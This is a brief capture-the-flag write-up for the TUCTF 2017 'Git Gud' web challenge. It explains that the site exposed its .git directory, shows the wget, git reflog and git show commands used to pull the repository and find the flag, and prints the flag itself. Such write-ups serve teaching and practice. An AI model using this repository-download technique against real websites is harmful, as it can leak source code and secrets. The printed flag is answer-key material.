Solution to TUCTF 2017 Git Gud
name:
Git Gud
category:
web
points:
100
Writeup
Problem was a single web page with a Git Gud meme. A request to .git showed that the .git repository was included in the deployment. And after we had downloaded the repository it was easy to find the flag in the git reflog.
wget -drc http://gitgud.tuctf.com/.git/
git reflog
git show 08cd273
flag was: TUCTF{D0nt_Us3_G1t_0n_Web_S3rv3r}